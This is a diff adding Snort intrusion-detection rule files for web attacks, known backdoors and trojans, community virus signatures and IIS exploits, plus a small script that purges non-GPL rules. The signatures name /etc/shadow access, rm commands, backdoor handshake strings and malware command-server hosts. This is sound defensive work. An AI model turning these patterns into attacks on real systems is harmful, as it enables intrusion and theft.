+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS xterm command attempt"; flow:to_server,established; content:"/usr/X11R6/bin/xterm"; nocase; classtype:web-application-attack; sid:1362; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS X application to remote host attempt"; flow:to_server,established; content:"%20-display%20"; nocase; classtype:web-application-attack; sid:1363; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS lsof command attempt"; flow:to_server,established; content:"lsof%20"; nocase; classtype:web-application-attack; sid:1364; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS rm command attempt"; flow:to_server,established; content:"rm%20"; nocase; classtype:web-application-attack; sid:1365; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS mail command attempt"; flow:to_server,established; content:"/bin/mail"; nocase; classtype:web-application-attack; sid:1366; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS mail command attempt"; flow:to_server,established; content:"mail%20"; nocase; classtype:web-application-attack; sid:1367; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /bin/ls| command attempt"; flow:to_server,established; uricontent:"/bin/ls|7C|"; nocase; classtype:web-application-attack; sid:1368; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /bin/ls command attempt"; flow:to_server,established; uricontent:"/bin/ls"; nocase; classtype:web-application-attack; sid:1369; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /etc/inetd.conf access"; flow:to_server,established; content:"/etc/inetd.conf"; nocase; classtype:web-application-activity; sid:1370; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /etc/motd access"; flow:to_server,established; content:"/etc/motd"; nocase; classtype:web-application-activity; sid:1371; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS /etc/shadow access"; flow:to_server,established; content:"/etc/shadow"; nocase; classtype:web-application-activity; sid:1372; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS conf/httpd.conf attempt"; flow:to_server,established; content:"conf/httpd.conf"; nocase; classtype:web-application-activity; sid:1373; rev:6;)
--- snort-2.8.5.2.orig/rules/community-mail-client.rules
+++ snort-2.8.5.2/rules/community-mail-client.rules
@@ -0,0 +1,4 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-mail-client.rules,v 1.6 2005/03/08 14:41:42 bmc Exp $
--- snort-2.8.5.2.orig/rules/backdoor.rules
+++ snort-2.8.5.2/rules/backdoor.rules
@@ -0,0 +1,119 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: backdoor.rules,v 1.44.2.6.2.3 2005/05/31 17:13:02 mwatchinski Exp $
+#---------------
+# BACKDOOR RULES
+#---------------
+#
+
+alert tcp $EXTERNAL_NET 27374 -> $HOME_NET any (msg:"BACKDOOR subseven 22"; flow:to_server,established; content:"|0D 0A|[RPL]002|0D 0A|"; reference:arachnids,485; reference:url,www.hackfix.org/subseven/; classtype:misc-activity; sid:103; rev:7;)
+alert tcp $HOME_NET 16959 -> $EXTERNAL_NET any (msg:"BACKDOOR subseven DEFCON8 2.1 access"; flow:from_server,established; content:"PWD"; classtype:trojan-activity; sid:107; rev:6;)
+
+
+alert tcp $HOME_NET 12345:12346 -> $EXTERNAL_NET any (msg:"BACKDOOR netbus active"; flow:from_server,established; content:"NetBus"; reference:arachnids,401; classtype:misc-activity; sid:109; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 12345:12346 (msg:"BACKDOOR netbus getinfo"; flow:to_server,established; content:"GetInfo|0D|"; reference:arachnids,403; classtype:misc-activity; sid:110; rev:4;)
+
+alert tcp $HOME_NET 20034 -> $EXTERNAL_NET any (msg:"BACKDOOR NetBus Pro 2.0 connection established"; flow:from_server,established; flowbits:isset,backdoor.netbus_2.connect; content:"BN|10 00 02 00|"; depth:6; content:"|05 00|"; depth:2; offset:8; classtype:misc-activity; sid:115; rev:9;)
+
+# 3150, 4120
+alert udp $EXTERNAL_NET any -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Connection attempt"; content:"00"; depth:2; reference:mcafee,98574; reference:nessus,10053; classtype:misc-activity; sid:1980; rev:4;)
+alert udp $HOME_NET 2140 -> $EXTERNAL_NET any (msg:"BACKDOOR DeepThroat 3.1 Server Response"; content:"Ahhhh My Mouth Is Open"; reference:arachnids,106; reference:mcafee,98574; reference:nessus,10053; classtype:misc-activity; sid:195; rev:7;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 3150 (msg:"BACKDOOR DeepThroat 3.1 Connection attempt [3150]"; content:"00"; depth:2; reference:mcafee,98574; reference:nessus,10053; classtype:misc-activity; sid:1981; rev:3;)
+alert udp $HOME_NET 3150 -> $EXTERNAL_NET any (msg:"BACKDOOR DeepThroat 3.1 Server Response [3150]"; content:"Ahhhh My Mouth Is Open"; reference:arachnids,106; reference:mcafee,98574; reference:nessus,10053; classtype:misc-activity; sid:1982; rev:3;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 4120 (msg:"BACKDOOR DeepThroat 3.1 Connection attempt [4120]"; content:"00"; depth:2; reference:mcafee,98574; reference:nessus,10053; classtype:misc-activity; sid:1983; rev:3;)
+alert udp $HOME_NET 4120 -> $EXTERNAL_NET any (msg:"BACKDOOR DeepThroat 3.1 Server Response [4120]"; content:"Ahhhh My Mouth Is Open"; reference:arachnids,106; reference:mcafee,98574; reference:nessus,10053; classtype:misc-activity; sid:1984; rev:3;)
+
+
+alert tcp $HOME_NET 6789 -> $EXTERNAL_NET any (msg:"BACKDOOR Doly 2.0 access"; flow:established,from_server; content:"Wtzup Use"; depth:32; reference:arachnids,312; classtype:misc-activity; sid:119; rev:5;)
+alert tcp $HOME_NET 1015 -> $EXTERNAL_NET any (msg:"BACKDOOR Doly 1.5 server response"; flow:from_server,established; content:"Connected."; classtype:trojan-activity; sid:1985; rev:2;)
+
+
+alert tcp $EXTERNAL_NET 1024: -> $HOME_NET 2589 (msg:"BACKDOOR - Dagger_1.4.0_client_connect"; flow:to_server,established; content:"|0B 00 00 00 07 00 00 00|Connect"; depth:16; reference:arachnids,483; reference:url,www.tlsecurity.net/backdoor/Dagger.1.4.html; classtype:misc-activity; sid:104; rev:7;)
+alert tcp $HOME_NET 2589 -> $EXTERNAL_NET 1024: (msg:"BACKDOOR - Dagger_1.4.0"; flow:from_server,established; content:"2|00 00 00 06 00 00 00|Drives|24 00|"; depth:16; reference:arachnids,484; reference:url,www.tlsecurity.net/backdoor/Dagger.1.4.html; classtype:misc-activity; sid:105; rev:7;)
+alert tcp $EXTERNAL_NET 80 -> $HOME_NET 1054 (msg:"BACKDOOR ACKcmdC trojan scan"; flow:stateless; ack:101058054; flags:A,12; seq:101058054; reference:arachnids,445; classtype:misc-activity; sid:106; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7597 (msg:"BACKDOOR QAZ Worm Client Login access"; flow:to_server,established; content:"qazwsx.hsq"; reference:MCAFEE,98775; classtype:misc-activity; sid:108; rev:6;)
+
+
+alert tcp $HOME_NET 146 -> $EXTERNAL_NET 1024: (msg:"BACKDOOR Infector.1.x"; flow:established,from_server; content:"WHATISIT"; reference:arachnids,315; classtype:misc-activity; sid:117; rev:6;)
+alert tcp $HOME_NET 666 -> $EXTERNAL_NET 1024: (msg:"BACKDOOR SatansBackdoor.2.0.Beta"; flow:established,from_server; content:"Remote|3A| You are connected to me."; reference:arachnids,316; classtype:misc-activity; sid:118; rev:5;)
+alert tcp $HOME_NET 146 -> $EXTERNAL_NET 1000:1300 (msg:"BACKDOOR Infector 1.6 Server to Client"; flow:established,from_server; content:"WHATISIT"; reference:cve,1999-0660; reference:nessus,11157; classtype:misc-activity; sid:120; rev:8;)
+alert tcp $EXTERNAL_NET 1000:1300 -> $HOME_NET 146 (msg:"BACKDOOR Infector 1.6 Client to Server Connection Request"; flow:to_server,established; content:"FC "; reference:cve,1999-0660; reference:nessus,11157; classtype:misc-activity; sid:121; rev:8;)
+
+alert tcp $HOME_NET 31785 -> $EXTERNAL_NET any (msg:"BACKDOOR HackAttack 1.20 Connect"; flow:established,from_server; content:"host"; classtype:misc-activity; sid:141; rev:5;)
+
+alert tcp $EXTERNAL_NET !80 -> $HOME_NET 21554 (msg:"BACKDOOR GirlFriendaccess"; flow:to_server,established; content:"Girl"; reference:arachnids,98; classtype:misc-activity; sid:145; rev:5;)
+alert tcp $HOME_NET 30100 -> $EXTERNAL_NET any (msg:"BACKDOOR NetSphere access"; flow:established,from_server; content:"NetSphere"; reference:arachnids,76; classtype:misc-activity; sid:146; rev:5;)
+alert tcp $HOME_NET 6969 -> $EXTERNAL_NET any (msg:"BACKDOOR GateCrasher"; flow:established,from_server; content:"GateCrasher"; reference:arachnids,99; classtype:misc-activity; sid:147; rev:5;)
+alert tcp $HOME_NET 5401:5402 -> $EXTERNAL_NET any (msg:"BACKDOOR BackConstruction 2.1 Connection"; flow:established,from_server; content:"c|3A 5C|"; classtype:misc-activity; sid:152; rev:6;)
+alert tcp $HOME_NET 23476 -> $EXTERNAL_NET any (msg:"BACKDOOR DonaldDick 1.53 Traffic"; flow:from_server,established; content:"pINg"; reference:mcafee,98575; classtype:misc-activity; sid:153; rev:6;)
+alert tcp $HOME_NET 30100:30102 -> $EXTERNAL_NET any (msg:"BACKDOOR NetSphere 1.31.337 access"; flow:from_server,established; content:"NetSphere"; reference:arachnids,76; classtype:misc-activity; sid:155; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 666 (msg:"BACKDOOR BackConstruction 2.1 Client FTP Open Request"; flow:to_server,established; content:"FTPON"; classtype:misc-activity; sid:157; rev:5;)
+alert tcp $HOME_NET 666 -> $EXTERNAL_NET any (msg:"BACKDOOR BackConstruction 2.1 Server FTP Open Reply"; flow:from_server,established; content:"FTP Port open"; classtype:misc-activity; sid:158; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 5032 (msg:"BACKDOOR NetMetro File List"; flow:to_server,established; content:"--"; reference:arachnids,79; classtype:misc-activity; sid:159; rev:6;)
+# alert tcp $EXTERNAL_NET 5031 -> $HOME_NET !53:80 (msg:"BACKDOOR NetMetro Incoming Traffic"; flow:stateless; flags:A+; reference:arachnids,79; classtype:misc-activity; sid:160; rev:6;)
+alert udp $EXTERNAL_NET 3344 -> $HOME_NET 3345 (msg:"BACKDOOR Matrix 2.0 Client connect"; content:"activate"; reference:arachnids,83; classtype:misc-activity; sid:161; rev:4;)
+alert udp $EXTERNAL_NET 3345 -> $HOME_NET 3344 (msg:"BACKDOOR Matrix 2.0 Server access"; content:"logged in"; reference:arachnids,83; classtype:misc-activity; sid:162; rev:4;)
+alert tcp $HOME_NET 5714 -> $EXTERNAL_NET any (msg:"BACKDOOR WinCrash 1.0 Server Active"; flow:stateless; flags:SA,12; content:"|B4 B4|"; reference:arachnids,36; classtype:misc-activity; sid:163; rev:9;)
+alert icmp 255.255.255.0/24 any -> $HOME_NET any (msg:"BACKDOOR SIGNATURE - Q ICMP"; dsize:>1; itype:0; reference:arachnids,202; classtype:misc-activity; sid:183; rev:4;)
+alert tcp 255.255.255.0/24 any -> $HOME_NET any (msg:"BACKDOOR Q access"; flow:stateless; dsize:>1; flags:A+; reference:arachnids,203; classtype:misc-activity; sid:184; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"BACKDOOR CDK"; flow:to_server,established; content:"ypi0ca"; depth:15; nocase; reference:arachnids,263; classtype:misc-activity; sid:185; rev:5;)
+
+
+alert tcp $HOME_NET 555 -> $EXTERNAL_NET any (msg:"BACKDOOR PhaseZero Server Active on Network"; flow:established,from_server; content:"phAse"; classtype:misc-activity; sid:208; rev:5;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR w00w00 attempt"; flow:to_server,established; content:"w00w00"; reference:arachnids,510; classtype:attempted-admin; sid:209; rev:4;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR attempt"; flow:to_server,established; content:"backdoor"; nocase; classtype:attempted-admin; sid:210; rev:3;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR MISC r00t attempt"; flow:to_server,established; content:"r00t"; classtype:attempted-admin; sid:211; rev:3;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR MISC rewt attempt"; flow:to_server,established; content:"rewt"; classtype:attempted-admin; sid:212; rev:3;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR MISC Linux rootkit attempt"; flow:to_server,established; content:"wh00t!"; classtype:attempted-admin; sid:213; rev:4;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR MISC Linux rootkit attempt lrkr0x"; flow:to_server,established; content:"lrkr0x"; classtype:attempted-admin; sid:214; rev:4;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR MISC Linux rootkit attempt"; flow:to_server,established; content:"d13hh["; nocase; classtype:attempted-admin; sid:215; rev:4;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR MISC Linux rootkit satori attempt"; flow:to_server,established; content:"satori"; reference:arachnids,516; classtype:attempted-admin; sid:216; rev:6;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR MISC sm4ck attempt"; flow:to_server,established; content:"hax0r"; classtype:attempted-admin; sid:217; rev:3;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR MISC Solaris 2.5 attempt"; flow:to_server,established; content:"friday"; classtype:attempted-user; sid:218; rev:4;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR HidePak backdoor attempt"; flow:to_server,established; content:"StoogR"; classtype:misc-activity; sid:219; rev:6;)
+alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"BACKDOOR HideSource backdoor attempt"; flow:to_server,established; content:"wank"; classtype:misc-activity; sid:220; rev:6;)
+alert tcp $EXTERNAL_NET 31790 -> $HOME_NET 31789 (msg:"BACKDOOR hack-a-tack attempt"; flow:stateless; flags:A+; content:"A"; depth:1; reference:arachnids,314; classtype:attempted-recon; sid:614; rev:8;)
+alert ip any any -> 216.80.99.202 any (msg:"BACKDOOR fragroute trojan connection attempt"; reference:bugtraq,4898; classtype:trojan-activity; sid:1791; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 35555 (msg:"BACKDOOR win-trin00 connection attempt"; content:"png []..Ks l44"; depth:14; reference:cve,2000-0138; reference:nessus,10307; classtype:attempted-admin; sid:1853; rev:6;)
+
+
+# NOTES: this string should be within the first 3 bytes of the connection
+alert tcp $EXTERNAL_NET any -> $HOME_NET 33270 (msg:"BACKDOOR trinity connection attempt"; flow:to_server,established; content:"!@|23|"; depth:3; reference:cve,2000-0138; reference:nessus,10501; classtype:attempted-admin; sid:1843; rev:6;)
+alert tcp any any -> 212.146.0.34 1963 (msg:"BACKDOOR TCPDUMP/PCAP trojan traffic"; flow:stateless; reference:url,hlug.fscker.com; classtype:trojan-activity; sid:1929; rev:5;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"BACKDOOR SubSeven 2.1 Gold server connection response"; flow:from_server,established; content:"connected. time/date|3A| "; depth:22; content:"version|3A| GOLD 2.1"; distance:1; reference:mcafee,10566; reference:nessus,10409; classtype:misc-activity; sid:2100; rev:6;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 34012 (msg:"BACKDOOR Remote PC Access connection attempt"; flow:to_server,established; content:"|28 00 01 00 04 00 00 00 00 00 00 00|"; depth:12; reference:nessus,11673; classtype:trojan-activity; sid:2124; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"BACKDOOR typot trojan traffic"; flow:stateless; flags:S,12; window:55808; reference:mcafee,100406; classtype:trojan-activity; sid:2182; rev:8;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"BACKDOOR FsSniffer connection attempt"; flow:to_server,established; content:"RemoteNC Control Password|3A|"; reference:nessus,11854; classtype:trojan-activity; sid:2271; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 3127:3199 (msg:"BACKDOOR DoomJuice file upload attempt"; flow:to_server,established; content:"|85 13|<|9E A2|"; depth:5; reference:url,securityresponse.symantec.com/avcenter/venc/data/w32.hllw.doomjuice.html; classtype:trojan-activity; sid:2375; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"BACKDOOR sensepost.exe command shell attempt"; flow:to_server,established; uricontent:"/sensepost.exe"; nocase; reference:nessus,11003; classtype:web-application-activity; sid:989; rev:11;)
+alert tcp $HOME_NET 2000 -> $EXTERNAL_NET any (msg:"BACKDOOR Insane Network 4.0 connection established"; flow:from_server,established; content:"Insane Network vs 4.0 by Suid Flow|0A 0D|www.blackcode.com|0A 0D|[r00t]|23|"; depth:62; classtype:misc-activity; sid:3015; rev:3;)
+alert tcp $HOME_NET 63536 -> $EXTERNAL_NET any (msg:"BACKDOOR Insane Network 4.0 connection established port 63536"; flow:from_server,established; content:"Insane Network vs 4.0 by Suid Flow|0A 0D|www.blackcode.com|0A 0D|[r00t]|23|"; depth:62; classtype:misc-activity; sid:3016; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 22222 (msg:"BACKDOOR RUX the Tick get system directory attempt"; flow:to_server,established; content:"SYSDIR"; depth:6; classtype:misc-activity; sid:3011; rev:1;)
+alert tcp $HOME_NET 23432 -> $EXTERNAL_NET any (msg:"BACKDOOR Asylum 0.1 connection established"; flow:from_server,established; flowbits:isset,backdoor.asylum.connect; content:"GNT"; depth:3; classtype:misc-activity; sid:3014; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 22222 (msg:"BACKDOOR RUX the Tick get windows directory attempt"; flow:to_server,established; content:"WINDIR"; depth:6; classtype:misc-activity; sid:3010; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 23432 (msg:"BACKDOOR Asylum 0.1 connection request"; flow:to_server,established; content:"RQS"; depth:3; flowbits:set,backdoor.asylum.connect; flowbits:noalert; classtype:misc-activity; sid:3013; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 20034 (msg:"BACKDOOR NetBus Pro 2.0 connection request"; flow:to_server,established; content:"BN |00 02 00|"; depth:6; content:"|05 00|"; depth:2; offset:8; flowbits:set,backdoor.netbus_2.connect; flowbits:noalert; classtype:misc-activity; sid:3009; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 22222 (msg:"BACKDOOR RUX the Tick upload/execute arbitrary file attempt"; flow:to_server,established; content:"ABCJZDATEIV"; depth:11; classtype:misc-activity; sid:3012; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1020 (msg:"BACKDOOR Vampire 1.2 connection request"; flow:to_server,established; content:"Hello..."; depth:8; flowbits:set,backdoor.vampire_12.connect; flowbits:noalert; classtype:misc-activity; sid:3063; rev:2;)
+alert tcp $HOME_NET 1020 -> $EXTERNAL_NET any (msg:"BACKDOOR Vampire 1.2 connection confirmation"; flow:from_server,established; flowbits:isset,backdoor.vampire_12.connect; content:"Vampire v1.2 Server On-Line....."; depth:32; classtype:misc-activity; sid:3064; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 5880 (msg:"BACKDOOR Y3KRAT 1.5 Connect Client Response"; flow:to_server,established; content:"getclient"; depth:9; flowbits:isset,backdoor.y3krat_15.connect; flowbits:set,backdoor.y3krat_15.client.response; flowbits:noalert; classtype:misc-activity; sid:3082; rev:1;)
+alert tcp $HOME_NET 5880 -> $EXTERNAL_NET any (msg:"BACKDOOR Y3KRAT 1.5 Connect"; flow:from_server,established; content:"connected"; depth:9; flowbits:set,backdoor.y3krat_15.connect; flowbits:noalert; classtype:misc-activity; sid:3081; rev:1;)
+alert tcp $HOME_NET 5880 -> $EXTERNAL_NET any (msg:"BACKDOOR Y3KRAT 1.5 Connection confirmation"; flow:from_server, established; content:"client"; depth:6; flowbits:isset, backdoor.y3krat_15.client.response; classtype:misc-activity; sid:3083; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 31337 (msg:"BACKDOOR BackOrifice 2000 Inbound Traffic"; flow:to_server,established; content:"1j|D0 D9|"; classtype:trojan-activity; sid:3155; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 3127:3198 (msg:"BACKDOOR mydoom.a backdoor upload/execute attempt"; flow:to_server,established; content:"|85 13|<|9E A2|"; depth:5; classtype:trojan-activity; sid:3272; rev:2;)
--- snort-2.8.5.2.orig/rules/community-virus.rules
+++ snort-2.8.5.2/rules/community-virus.rules
@@ -0,0 +1,21 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-virus.rules,v 1.15 2006/10/19 20:20:29 akirk Exp $
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 5554 (msg:"COMMUNITY VIRUS Dabber PORT overflow attempt port 5554"; flow:to_server,established,no_stream; content:"PORT"; nocase; isdataat:100,relative; pcre:"/^PORT\s[^\n]{100}/smi"; reference:MCAFEE,125300; classtype:attempted-admin; sid:100000110; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1023 (msg:"COMMUNITY VIRUS Dabber PORT overflow attempt port 1023"; flow:to_server,established,no_stream; content:"PORT"; nocase; isdataat:100,relative; pcre:"/^PORT\s[^\n]{100}/smi"; reference:MCAFEE,125300; classtype:attempted-admin; sid:100000111; rev:1;)
+alert tcp $HOME_NET any -> 207.172.16.155 80 (msg:"COMMUNITY VIRUS Possible BlackWorm or Nymex infected host"; flow:to_server,established; uricontent:"/cgi-bin/Count.cgi?df=765247"; reference:url,www.microsoft.com/security/encyclopedia/details.aspx?name=Win32%2fMywife.E%40mm; reference:url,cme.mitre.org/data/list.html#24; reference:url,isc.sans.org/blackworm; classtype:trojan-activity; sid:100000226; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8 (msg:"COMMUNITY VIRUS Nugache connect"; flow:to_server,established; content:"|00 02|"; flowbits:set,nugache.connection; flowbits:noalert; classtype:trojan-activity; sid:100000282; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8 (msg:"COMMUNITY VIRUS Nugache data"; flow:to_server,established; flowbits:isset,nugache.connection; dsize:64; reference:url,securityresponse.symantec.com/avcenter/venc/data/w32.nugache.a@mm.html; classtype:trojan-activity; sid:100000283; rev:1;)
+
+# DNS Rules submitted by urleet@gmail.com
+alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:"COMMUNITY VIRUS Ginwui.B command server dns query attempt - scfzf.xicp.net"; content:"|01 00|"; offset:2; depth:2; content:"|05|scfzf|04|xicp|03|net";threshold: type limit, track by_src, count 1, seconds 360; reference:url,vil.nai.com/vil/content/v_139545.htm; classtype:trojan-activity; sid:100000310; rev:2;)
+alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:"COMMUNITY VIRUS Ginwui.B command server dns query attempt - localhosts.3322.org"; content:"|01 00|"; offset:2; depth:2; content:"|0A|localhosts|04|3322|03|org";threshold: type limit, track by_src, count 1, seconds 360; reference:url,vil.nai.com/vil/content/v_139545.htm; classtype:trojan-activity; sid:100000311; rev:2;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"COMMUNITY VIRUS Ginwui.B POST attempt"; flow:to_server,established; content:"POST|20 2F|"; nocase; depth:6; content:"Host|3a|"; nocase; content:"scfzf.xicp.net"; nocase; pcre:"/Host\x3A[^\n\r]+scfzf.xicp.net/smi"; content:"Content-Length|3a 20|0"; nocase; content:"Connection|3a| Keep-Alive"; nocase; threshold: type limit, track by_src, count 1, seconds 360; reference:url,vil.nai.com/vil/content/v_139545.htm; classtype:trojan-activity; sid:100000312; rev:3;)
+
+
+alert udp !$DNS_SERVERS any -> $EXTERNAL_NET 53 (msg:"COMMUNITY VIRUS OutBound Dremn Trojan Beacon"; content:"|00 00 01|"; offset:3; depth:3; content:"aaaaaaaaaaaaaaaaaaaaa"; within:50; pcre:"/((X|Y)m(A|B)(i)?...a{21})/"; reference:url,symantec.com/avcenter/venc/data/trojan.dremn.html; classtype:trojan-activity; sid:100000684; rev:1;)
+alert udp $EXTERNAL_NET 53 -> !$DNS_SERVERS any (msg: "COMMUNITY VIRUS Answering Dremn Trojan Server"; content:"|80 00 01|"; offset:3; depth:3; content:"aa"; within:50; pcre:"/((X|Y)m(A|B)(i)?...aa)/"; reference:url,symantec.com/avcenter/venc/data/ trojan.dremn.html; classtype:trojan-activity; sid:100000685; rev:1;)
+
--- snort-2.8.5.2.orig/rules/purge-non-gpl.sh
+++ snort-2.8.5.2/rules/purge-non-gpl.sh
@@ -0,0 +1,23 @@
+#!/bin/sh
+# Purges non-GPL rules from a common set
+
+if [ -z "$1" ] ; then
+    echo "Usage: $0 directory_with_rules"
+fi
+
+if [ ! -d "$1" ] ; then
+    echo "ERROR: $1 is not a directory"
+    exit 1
+fi
+
+for file in $1/*rules; do 
+    if [ -r "$file" ] ; then
+        name=`basename $file`
+        if [ ! -e "$name" ] ; then
+            cat $file |perl remove-non-gpl.pl >$name
+        else
+            echo "ERROR: Cowardly refusing to overwrite $name"
+        fi
+    fi
+done
+
--- snort-2.8.5.2.orig/rules/web-iis.rules
+++ snort-2.8.5.2/rules/web-iis.rules
@@ -0,0 +1,167 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: web-iis.rules,v 1.78.2.5.2.6 2005/07/22 19:19:54 mwatchinski Exp $
+#--------------
+# WEB-IIS RULES
+#--------------
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-IIS MDAC Content-Type overflow attempt"; flow:to_server,established; uricontent:"/msadcs.dll"; nocase; content:"Content-Type|3A|"; nocase; isdataat:50,relative; content:!"|0A|"; within:50; pcre:"/^POST\s/smi"; reference:bugtraq,6214; reference:cve,2002-1142; reference:url,www.foundstone.com/knowledge/randd-advisories-display.html?id=337; reference:url,www.microsoft.com/technet/security/bulletin/MS02-065.mspx; reference:url,www.microsoft.com/technet/security/bulletin/MS98-004.mspx; classtype:web-application-attack; sid:1970; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS repost.asp access"; flow:to_server,established; uricontent:"/scripts/repost.asp"; nocase; reference:nessus,10372; classtype:web-application-activity; sid:1076; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS .htr chunked Transfer-Encoding"; flow:to_server,established; uricontent:".htr"; nocase; content:"Transfer-Encoding|3A|"; nocase; content:"chunked"; distance:0; nocase; reference:bugtraq,4855; reference:bugtraq,5003; reference:cve,2002-0364; classtype:web-application-attack; sid:1806; rev:9;)
